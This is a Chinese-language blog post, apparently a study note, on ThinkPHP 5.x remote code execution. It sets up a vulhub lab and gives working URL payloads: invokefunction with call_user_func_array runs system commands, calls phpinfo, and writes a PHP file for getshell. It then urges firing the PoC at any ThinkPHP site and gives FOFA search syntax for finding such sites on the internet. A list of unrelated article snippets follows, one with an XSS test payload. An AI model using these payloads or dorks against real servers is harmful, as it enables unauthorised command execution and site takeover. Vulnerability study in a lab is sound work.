常见框架漏洞（一）----Thinkphp（TP）
Thinkphp框架介绍：
ThinkPHP是为了简化企业级应⽤开发和敏捷WEB应⽤开发⽽诞⽣的，是⼀个快速、兼容⽽
且简单的轻量级国产PHP开发框架，诞⽣于2006年初，原名FCS，2007年元旦正式更名为
ThinkPHP，遵循Apache2开源协议发布，从Struts结构移植过来并做了改进和完善，同时也借鉴 了国外很多优秀的框架和模式，使⽤⾯向对象的开发结构和MVC模式，融合了Struts的思想和 TagLib（标签库）、RoR的ORM映射和ActiveRecord模式。
ThinkPHP可以⽀持windows/Unix/Linux等服务器环境，正式版需要PHP5.0以上版本⽀
持，⽀持MySql、PgSQL、Sqlite多种数据库以及PDO扩展，是⼀款跨平台，跨版本以及简单易⽤的PHP框架。 TP(2-6) (5-⽬前使⽤率较⾼的)
重点：Thinkphp5x远程命令执⾏及getshell
thinkphp5最出名的就是rce
1. 环境搭建
云服务器：1.15.228.27:8080
靶场：cd vulhub-master/thinkphp/5-rce
docker-compose up -d #启动环境
docker ps ，查看当前开启的容器信息 发现是端口是8080
2.访问靶场
http://1.15.228.27:8080
3. 漏洞利用
漏洞根本源于 thinkphp/library/think/Request.php 中method⽅法可以进⾏变量覆盖，通
过覆盖类的核⼼属性filter导致rce，其攻击点较为多，有些还具有限制条件，另外由于种种部分 原因，在利⽤上会出现⼀些问题。
4.远程命令执⾏1
POC（漏洞测试）：在URL上输入
?s=index/think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=whoami
5.远程代码执⾏2
POC：
?s=/Index/\think\app/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=-1
6. getshell
? s=index/think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=echo "<?php phpinfo();?>" >>1.php
Thinkphp被曝很多漏洞，截⾄⽬前位置3x -- 6x的各个版本都被爆有⼤量漏洞，遇到TP的
站，直接打poc就可以了；
更多利⽤⽅式可以参考：
https://www.hacking8.com/bug-web/
https://github.com/Mochazz/ThinkPHP-Vuln
拓展：FOFA搜索语法：
body="V5.0.7" && title="System error"body="ThinkPHP V5"icon_hash="1165838194"
Thinkphp框架，笑脸将是判断某个网站的架构为Thinkphp。
望诸君有所收获，共勉。
下一篇，接着讲其他框架。
---------------------------2025/3/25 0:28
相关文章：
常见框架漏洞（一）----Thinkphp（TP）
Thinkphp框架介绍： ThinkPHP是为了简化企业级应⽤开发和敏捷WEB应⽤开发⽽诞⽣的，是⼀个快速、兼容⽽ 且简单的轻量级国产PHP开发框架，诞⽣于2006年初，原名FCS，2007年元旦正式更名为 ThinkPHP，遵循Apache…...
Git 使用指南：从设置用户信息到项目提交的全流程教程（持续更新）
一、设置 Git 用户信息 1.全局设置（适用于所有 Git 仓库）： git config --global user.name "Your Name" git config --global user.email youexample.com 2.仅针对当前仓库设置（如果您只想为当前项目设置࿰…...
Json在扩展属性xdata中的应用实例——cad 二次开发c#
以下是一个使用AutoCAD C#.NET API实现你需求的示例代码，代码实现了提示用户选择一个实体，将一些字符串变量及其对应的值组成JSON格式数据存储到实体的扩展数据（XData）中，并在弹出窗口中显示该实体的所有扩展数据信息。…...
Unity Animation的其中一种运用方式
Animation是Unity的旧的动画系统，先说目的，其使用是为了在UI中播放动效，并且在动效播放结束后接自定义事件而设计的 设计的关键点在于，这个脚本不是通过Animation直接播放动画片段，而是通过修改AnimationState的nor…...
C++ 的基本内置类型（十二）
C 作为一门强大的编程语言，其内置类型是开发者必须掌握的基础。本文将详细介绍 C 的基本内置类型，包括算术类型和空类型，探讨它们的特性、尺寸以及在机器上的实现方式。 一、 基本内置类型概述 C 定义了一套基本数据类型，主要包…...
Android设计模式之单例模式
一、定义：确保一个类只有一个实例，并且自动实例化，并向整个系统提供这个实例。 二、使用场景：避免重复创建对象，过多消耗系统资源。 三、使用方式 3.1饿汉式：类加载时立即初始化，线程安全&…...
随笔（1）
1、解除切屏限制命令 document.body.onblur null2、vue3 getCurrentInstance import { getCurrentInstance } from vue const {proxy} getCurrentInstance() proxy.mittBus.emit(message,xxxx)3、 自定义双向绑定，modelValue 就是对应输入框的值 emit(update:mo…...
系统与网络安全------网络应用基础（3）
资料整理于网络资料、书本资料、AI，仅供个人学习参考。 路由器 认识路由器 负责在不同网络之间转发数据的设备 路由器决定到达目标的路径 路由器也为直连网络的主机充当”网关“角色 路由器是实现网络互连的最核心设备 工作原理 每台路由器维护一份路由表&…...
Java 基于微信小程序的开放实验室预约管理系统
博主介绍：✌Java徐师兄、7年大厂程序员经历。全网粉丝13w、csdn博客专家、掘金/华为云等平台优质作者、专注于Java技术领域和毕业项目实战✌ 🍅文末获取源码联系🍅 👇🏻 精彩专栏推荐订阅👇🏻 不…...
Linux内核NIC网卡驱动实战案例分析
以下Linux 内核模块实现了一个虚拟网络设备驱动程序，其作用和意义如下： 1. 作用 （1）创建虚拟网络设备对 驱动程序动态创建了两个虚拟网络设备（nic_dev[0]和nic_dev[1]），模拟物理网卡的功能。这两…...
R 基础语法
R 基础语法 引言 R 是一种针对统计计算和图形表示而设计的编程语言和环境。它广泛应用于统计学、生物信息学、数据挖掘等领域。本文将为您介绍 R 语言的基础语法，帮助您快速上手。 R 的基本结构 R 语言的基本结构包括：变量、数据类型、运算符、控制结构、函数等。 变量 …...
JDK 24 发布，新特性解读！
一、版本演进与技术格局新动向 北京时间3月20日，Oracle正式发布Java SE 24。作为继Java 21之后的第三个非LTS版本，其技术革新力度远超预期——共集成24项JEP提案，相当于Java 22（12项）与Java 23（12项&#…...
在 Qt 中，不带参数或整形的参选的信号能够从 std::thread 发送成功，而带枚举离线的信号却发送失败
在 Qt 中，不带参数或整形的参选的信号能够从 std::thread 发送成功，而带枚举离线的信号却发送失败 当信号和槽在不同线程时，默认使用 队列连接（Qt::QueuedConnection），信号会被放入接收线程的事件队列&…...
慧通测控汽车智能座舱测试技术
一、引言 随着科技的飞速发展，汽车正从单纯的交通工具向智能化移动空间转变。智能座舱作为这一转变的核心体现，融合了多种先进技术，为用户带来前所未有的驾驶体验。从简单的信息娱乐系统到高度集成的人机交互、智能驾驶辅助以及车辆状态监测…...
【CSS】CSS 使用全教程
CSS 使用全教程 介绍 CSS（层叠样式表，Cascading Style Sheets）是一种样式表语言，用于描述 HTML 或 XML 文档的布局和外观，它允许开发者将文档的内容结构与样式表现分离，通过定义一系列的样式规则来控制网页…...
【Linux知识】RPM软件包安装命令行详细说明
文章目录 概述安装软件包升级软件包卸载软件包查询软件包信息验证软件包从软件包中提取文件注意事项 概述 rpm（Red Hat Package Manager）是红帽系 Linux 发行版（如 Red Hat、CentOS、Fedora 等）用于管理软件包的工具，…...
SpringBoot3.0不建议使用spring.factories，使用AutoConfiguration.imports新的自动配置方案
文章目录 一、写在前面二、使用imports文件1、使用2、示例比对3、完整示例 参考资料 一、写在前面 spring.factories是一个位于META-INF/目录下的配置文件，它基于Java的SPI(Service Provider Interface)机制的变种实现。 这个文件的主要功能是允许开发者声明接口的…...
c++项目-KV存储-模仿redis实现kv键值对存储的基本功能。
KV存储引擎的技术解析：数组、哈希与红黑树实现及其在网络I/O中的应用。 内容概要：本文档深入介绍了基于数组、哈希表和红黑树的键值存储引擎的设计与实现。文档首先阐述了系统的总体架构与类图关系，之后分别对底层存储结构进行了详细解释&am…...
docker ssh远程连接
目录 操作命令： 确保 SSH 配置允许 root 登录： docker提交： 操作命令： # 进入容器 docker exec -ti lbg04 /bin/bash# 更新包管理并安装 SSH 服务（Ubuntu/Debian 示例） apt-get update apt-get install…...
边缘计算场景下的分布式推理系统架构设计
一、边缘节点推理优化 1.1 模型轻量化技术矩阵 1.2 TensorRT加速配置示例 # 使用TensorRT优化YOLOv8builder trt.Builder(TRT_LOGGER)network builder.create_network()parser trt.OnnxParser(network, TRT_LOGGER)with open("yolov8s.onnx", "rb") a…...
css基础-浮动
一、浮动是什么？ 比喻：就像泳池里的救生圈 原始用途：让文字环绕图片（像杂志排版）意外发展：被用来做页面布局（像用救生圈搭浮桥） 二、浮动怎么产生的？ 场景还原&#…...
Linux TTY设备汇总
目录 1. tty（终端设备统称） 2. ptm（伪终端主设备）与pts（伪终端从设备） 3. ttys（串行端口终端） 4. ttyACM（USB CDC ACM设备） 5. ttyGS（USB Gadget Serial设备） 主要联系 典型应用场景 TTY_CORE: drivers/tty/tty_io.c:tty_register_driver…...
Android studio组合教程--做出一个类似于QQ的登录页面
之前我们学过了html与Android的开发，以及各种组件的学习，这次我们做一个完整向的登录页面，作为一次大作业。 注意 里面的一图片可以自由发挥，但要注意文件路径保持准确，这里给出参考路径： 背景路径&…...
iPhone 16 Plus ：凉凉了
大屏就是生产力，这句话就像思想钢印一样，深入人心。 但苹果用户是个例外，根据内行人的爆料，iPhone 16 Plus 彻底凉凉了，难怪它会是最后一代Plus。 根据知名博主数码闲聊站透露，截止3 月 9 号，i…...
【MySQL报错】：Column count doesn’t match value count at row 1
MySQL报错：Column count doesn’t match value count at row 1 意思是存储的数据与数据库表的字段类型定义不相匹配. 由于类似 insert 语句中，前后列数不等造成的 主要有3个易错点： 要传入表中的字段数和values后面的值的个数不相等。 由于类…...
2025 polarctf春季个人挑战赛web方向wp
来个弹窗 先用最基础的xss弹窗试一下 <script>alert("xss")</script>没有内容，猜测过滤了script，双写绕过一下 <scrscriptipt>alert("xss")</scscriptript>background 查看网页源代码 查看一下js文件 类…...
Midscene.js自然语言驱动的网页自动化全指南
一、概述 网页自动化在数据抓取、UI 测试和业务流程优化中发挥着重要作用。然而，传统工具如 Selenium 和 Puppeteer 要求用户具备编程技能，编写复杂的选择器和脚本维护成本高昂。Midscene.js 通过自然语言接口革新了这一领域，用户只需描述任…...
PDF与Markdown的量子纠缠：一场由VLM导演的文档界奇幻秀
缘起：当格式界的"泰坦尼克号"撞上"黑客帝国" 某个月黑风高的夜晚，在"二进制酒吧"的霓虹灯下： PDF（西装革履地晃着威士忌）: “我的每一页都像瑞士手表般精密，连华尔街的秃鹫都为我倾倒！” Markdown（穿着带洞的拖鞋）: “得了吧老古董！…...
Spring Boot JSON序列化深度管控：忽略指定字段+Jackson扩展策略破解双向实体循环引用问题
一、JsonIgnore的核心原理与工作机制 1. 注解作用原理 JsonIgnore是Jackson库的核心注解之一，其工作原理基于 Jackson的AnnotationIntrospector机制。在序列化/反序列化过程中，Jackson会扫描Java对象的所有字段和方法上的注解。当检测到JsonIgnore时&a…...
msvcp140.dll是什么文件？修复丢失msvcp140.dll的方法指南
当计算机显示"msvcp140.dll未找到"的报错信息时，这实际反映了Windows系统运行机制中的一个关键环节出现断链。作为Microsoft Visual C可再发行组件包的核心动态链接库，msvcp140.dll承担着程序与系统资源之间的桥梁作用，特别是在处理…...
ES集群的部署
实验步骤 实验目的： 验证ES集群的容错性、扩展性数据分布与查询性能优化。 环境准备 1、准备两台服务器 服务器 1、10.1.1.20 cpu 2核 内存：4G 硬盘100G 2、10.1.1.21 cpu 2核 内存：4G 硬盘100G 2、修改两台静态ip 3、关闭防…...
 方法用于重置表单)
resetForm() 方法用于重置表单
resetForm() 方法是 Vue.js 中用于重置表单的一个常见操作。下面是对这段代码的详细解析： 1. 代码作用 resetForm() 方法的作用是重置表单，将表单中的所有输入字段恢复到初始状态（通常是清空或恢复到默认值）。 2. 代码解析 re…...
Java后端API限流秘籍：高并发的防护伞与实战指南
目录导航 📜 🛡️ 为什么需要API限流？🧠 主流限流算法大解析👩💻 阿里巴巴的限流实践📏 四大黄金定律🤼 限流策略组合拳🏆 限流场景实战💻 技术实现方案🌟 最佳实践分享📈 结语与展望📚 推荐阅读 1. 🛡️ 为什么需要API限流？ 在高并发环境中，未…...
团体协作项目总结Git
使用Git开放时候发现本地, 有些代码并没有被拉取到本地仓库, 又不想再commit一次, 这时候我就想到了 git commit --amend 合并提交 git commit --amend 修改git提交记录用法详解 可以将本次提交记录合并到上一次合并提交 git commit --amendgit rebase -i master^^ // 假设我…...
mysql 入门
1.已经下载过却卸载不干净？注册表清理不到位？ 使用greek绿色版 强力卸载，可以一键卸载注册表里的信息。 2.如何启动mysql服务？ 以管理员方式启动cmd 输入 net start mysql80 如何停止？ net stop mysql80 2.将mysql客…...
1.基于TCP的简单套接字服务器实现
目录 1. TCP通信流程 2. 服务器端的通信流程 2.1 创建用于监听的套接字 2.2 绑定本地IP地址和端口 2.3 设置监听 2.4 等待接受客户端的连接请求 2.5 与客户端进行通信 2.6 客户端连接服务器 3.代码实现 client.cpp server.cpp 运行方式 在本文中，我们将…...
MantisBT在Windows10上安装部署详细步骤
MantisBT 是一款基于 Web 的开源缺陷跟踪系统，以下是在 Windows 10 上安装部署 MantisBT 的详细步骤： 1. 安装必要的环境 MantisBT 是一个基于 PHP 的 Web 应用程序，因此需要安装 Web 服务器（如 Apache）、PHP 和数据…...
zookeepernacoskafka之间的联系
一、ZooKeeper与Kafka的协同工作原理 1. 核心关系：Kafka对ZooKeeper的依赖 在Kafka 2.8版本之前，ZooKeeper是Kafka集群的“大脑”，负责管理集群元数据、协调节点状态和故障恢复。两者的协同主要通过以下关键机制实现： Broker注册…...
【QT】 布局器
参考博客：https://blog.csdn.net/Fdog_/article/details/107522283 目录 布局管理器概念常见的布局管理器及特点🔵QHBoxLayout水平布局🔵QVBoxLayout垂直布局 🔵QGridLayout网格布局 🔵QFormLayout表单布局 QT 高级布…...
力扣45.跳跃游戏
45. 跳跃游戏 II - 力扣（LeetCode） 代码区： #include<vector> class Solution {public:int jump(vector<int>& nums) {int ans[10005] ;memset(ans,1e4,sizeof(ans));ans[0]0;for(int i0;i<nums.size();i){for(int j1;j…...
【蓝桥杯】真题 路径（数论+dp）
思路 求最小公倍数LCM问题很好求，这里看似是求图最短路径，实际上由于只有[i,i21]之间存在路径，所以用线性dp效率更高，当然用bfs，dijstra，floyed也可，毕竟是填空题。 code def gcd(a,b):if a …...
敏捷需求分析之INVEST原则
INVEST原则是什么 INVEST 是用户故事的六个核心标准，由敏捷教练 Bill Wake 提出，用于确保用户故事具备可执行性和价值导向性。 1. I - Independent（独立的） 含义：用户故事应独立于其他故事，避免依赖关系。问题：若故事 A 必须等待故事 B 完成才能开发，会导致进度阻塞。…...
Apache Flink技术原理深入解析：任务执行流程全景图
前言 本文隶属于专栏《大数据技术体系》，该专栏为笔者原创，引用请注明来源，不足和错误之处请在评论区帮忙指出，谢谢！ 本专栏目录结构和参考文献请见大数据技术体系 思维导图 📌 引言 Apache Flink 作为一款高性能的分布式流处理引擎，其内部执行机制精妙而复杂。本文将…...
UE5小石子阴影在非常近距离才显示的问题
Unreal中采用LandscapeGrass生成的地形，在MovieRenderQueue中渲染时阴影显示距离有问题，在很近的时候才会有影子，怎么解决？ 地面上通过grass生成的小石子的阴影只能在很近的时候才能显示出来，需要如下调整 r.Shadow.R…...
WebAssembly实践，性能也有局限性
个人博客原文地址 WebAssembly（简称 wasm） 是一种旨在突破 Web 性能瓶颈的技术方案。它由 W3C 官方推动，并且得到了主流浏览器的广泛支持。它的核心思想是通过运行其他高性能编程语言（比如 C、C、Rust 等）来实现复杂功…...
第一天学爬虫
阅读提示：我今天才开始尝试爬虫，写的不好请见谅。 一、准备工具 requests库：发送HTTP请求并获取网页内容。BeautifulSoup库：解析HTML页面并提取数据。pandas库：保存抓取到的数据到CSV文件中。 二、爬取步骤 发送请求…...
【FAQ】HarmonyOS SDK 闭源开放能力 —Push Kit（11）
1.问题描述： 鸿蒙push右侧图表没有正常展示。 解决方案： .jpg格式文件，头信息必须是这个“jpg：ffd8”。 2.问题描述： 安卓端App在开发者平台申请了Android应用的通知消息自分类权益，鸿蒙应用的自分类权…...
Spring WebSecurityCustomizer 的作用
Spring WebSecurityCustomizer 是 Spring Security 框架中用来 自定义 Web 安全配置 的一个接口。 它的主要作用是在开发中我们能够 精细的控制哪些请求会被 Spring Security 完全忽略，不进行任何安全检查和过滤。 我们可以把它想象成是 Spring Security 大门上的一…...
uniapp动态循环表单校验失败：初始值校验
问题现象 💥 在实现动态增减的单价输入表单时（基于uv-form组件），遇到以下诡异现象： <uv-input>的v-model绑定初始值为数字类型时，required规则失效 ❌数字类型与字符串类型校验表现不一致 🔢技术栈背景 🛠️ 框架：Vue3 + uni-appUI库：uv-ui校验方案：计算属…...
线性代数核心概念与NumPy科学计算实战全解析
前言 学习方法： 思维导图，梳理 多记忆，函数名和功能，参数 学会应用，不要钻牛角尖 一、浅解线性代数 1.1标量 标量是一个只有大小没有方向的量。在数学上，标量通常表示为一个普通的数字，如质量…...